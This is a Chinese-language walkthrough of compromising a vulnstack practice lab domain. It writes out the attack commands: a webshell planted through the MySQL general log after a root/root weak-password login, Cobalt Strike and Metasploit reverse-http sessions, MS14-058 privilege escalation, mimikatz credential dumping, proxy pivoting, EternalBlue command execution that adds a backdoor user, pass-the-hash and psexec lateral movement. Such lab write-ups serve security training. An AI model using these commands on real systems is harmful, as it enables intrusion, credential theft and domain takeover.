环境地址
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
环境怎么配置的这个互联网上去查吧,可以参考最后一节的参考文献。
web渗透
netdiscover -r 192.168.1.0/24 发现主机
nmap -sS -sV -Pn 192.168.1.130 扫描端口开放情况
开放80,3389,3306端口
访问80端口发现phpstudy探针
可检测数据库连接情况,这里可进行弱口令测试
发现存在弱口令 root root
通过php探针信息可知使用了phpmyadmin来管理数据库
root root进入数据库后通过 show global variables like '%secure%' 查看是否可进行webshell写入,发现字段为null,不可写,如果为空表示可写任意目录,如果是一个路径则指定了只能写入该路径
既然不能写入我们查看是否可通过日志写入,通过 show global variables '%general%' 查看是否开启日志
通过set global general_log = NO 开启日志功能
更改日志路径为web网站路径 set global general_log_file = 'C:/phpstudy/WWW/test.php'
查看是否更改日志路径成功 show global variables '%general%'
输入恶意一句话木马使其记录在日志中 select '<?php eval($_POST[1])'
浏览器发现一句话木马成功被解析(PHP代码被解析表示你无法看见源代码,因此我们在浏览器进行访问的时候没有看见刚刚写入的一句话木马表示成功写入)
使用蚁剑进行连接
打开CS生成监听器(如果不明白CS可参考该文章https://blog.csdn.net/u010062917/article/details/108413042)
开启CS生成exe木马
选择刚刚创建的监听器
把生成的木马通过蚁剑上传然后打开虚拟终端执行生成的木马
CS成功上线
修改响应时间
使用shell systeminfo查看补丁情况,发现补丁不多,可进行提权
通过点击右键选择Access然后点击Elevate再通过ms14-058即可进行权限提升,除了该方法还可使用其他漏洞和插件来进行操作,这里不多赘述
使用mimikatz获取密码
内网渗透
基于MSF+proxychains+kali的渗透
MSF联动,把CS会话注入MSF
首先在msf上监听自己的ip跟端口:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http(跟cs上选用的payload一样)
set lhost 本机ip
set lport 接受的端口
exploit [执行]
然后cs那边创建一个foreign监听的listeners。
Listeners的ip为msf的ip,端口为msf监听的端口
选择 spawn即可
MSF成功接收会话
msf添加路由run post/multi/manage/autoroute,使MSF能够与内网通讯
查看路由是否添加成功,run autoroute -p
使用MSF开启socks代理
use auxiliary/server/socks_proxy
set version 4a
set srvhost 0.0.0.0
set srvport 1080
run
通过jobs可查看代理设置成功
使用kali代理从而访问内网 vim /etc/proxychains4.conf
火狐浏览器配置本机自动检测代理模式(我kali出问题了所以使用windows火狐进行截图的,都是一样的)
输入proxychains firefox 192.168.52.138:80 成功访问内网web网站
使用 MSF apr模块探测内网存活主机
use post/windows/gather/arp_scanner
set RHOSTS 192.168.52.0/24
set SESSION 1
exploit
使用proxychains探测内网端口开放情况
还能够使用udp协议发现内网存活主机
use auxiliary/scanner/discovery/udp_sweep
set RHOSTS 192.168.52.0/24
exploit
使用永恒之蓝扫描模块查看是否存在漏洞
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.52.141
exploit
存在永恒之蓝漏洞 使用msf模块进行攻击,这里使用的auxiliary/admin/smb/ms17_010_command模块,这里我是试了很多错才成功使用该模块执行命令
use auxiliary/admin/smb/ms17_010_command
set COMMAND net user
set RHOST 192.168.52.141
exploit
查看用户 使用该命令set COMMAND net user然后再exploit
添加用户set command net user hack admin.111 /add
开启telnet服务
set COMMAND sc config tlntsvr start= auto
set COMMAND net start telnet
查看telnet是否成功开启 set COMMAND netstat -an
使用代理telnet直接使用创建的用户名hack admin.123登录 成功拿下服务器
IP为192.168.52.138的也可以使用上述操作来拿下服务器,但是好像没有telnet还是什么情况无法进行下一步,但是能够执行服务器命令
基于Windows+CS+Proxifier
这个相对于kali的渗透很简单
利用方式一
如果并不能通过明文密码进行横向移动的话那么可以通过代理访问内网web应用来进行渗透
使用CS上面的端口转发工具让windows机器能够访问内网主机,端口随便填写
打开Proxifier,配置CS服务器IP
点击profile的proxy servers选项配置刚刚所选的端口和CS服务器IP
点击check进行测试正常通讯
配置规则,把浏览器的exe加入代理,让浏览器访问的数据走代理通道
通过浏览器访问即可(我成功访问了但是没截图 千万要相信我)
利用方式二
如果无法获取明文密码可使用hash密码进行hash传递攻击(PTH)
使用mimikatz获取ntml值
使用mimkatz进行pth
通过 shell dir \IP\c$成功获取域内两台主机权限
利用方式三
使用自带的密码获取工具直接抓取明文密码信息
输入net view获取域内所有主机
通过刚刚获取的凭据我们可以进行横线渗透,直接点击你想渗透的主机右键选择psexec进行渗透
选择监听器和基于横向移动的session
成功获取域内主机权限
成功获取域控权限
总结
通过上述域渗透的方式搭建可能对于内网渗透有一个了解了。但是我想说的是在上述渗透中虽然只有三台主机但是问题可不小,那么我们就来盘点一下到底遇到了那些问题,也方便再打这个靶场时可以避避坑。
proxychains使用问题
我先前在使用的时候配置什么都没有问题,但是使用nmap的使用就是无法扫描,我在这里卡了好久,然后网上对于这方面的文章也是少的可怜,最后是我在使用namp代理firefox浏览器的时候提示权限不够我才切换为普通用户,然后阴差阳错使用了proxychains代理nmap才知道权限问题,我也不知道到底这其中的原理是什么,我下来得仔细研究研究proxychains的使用原理,如果有知道的大佬可以分享一下。
通过telnet来进行移动
这个问题其实不难,我在这里拿出来说是因为我在参考网上文章的时候有一篇文章并没有很详细的把这个telnet登录问题写出来,telnet登录必须要把登录用户加入telnetclients组里面才可以,我看着他的文章做了两三遍都登陆不了我还以为是我的问题,然后去搜了下才知道是这个原因,可能对于懂系统的来说这根本不是问题吧,但是因为文章没有写全面导致耽误的问题让我很气愤,所以在这里提一下。
参考文献
https://blog.csdn.net/qq_41821603/article/details/109948920
https://www.freebuf.com/column/231111.html
https://www.cnblogs.com/liliyuanshangcao/p/13743389.html#_label2_4
https://www.freebuf.com/articles/web/324441.html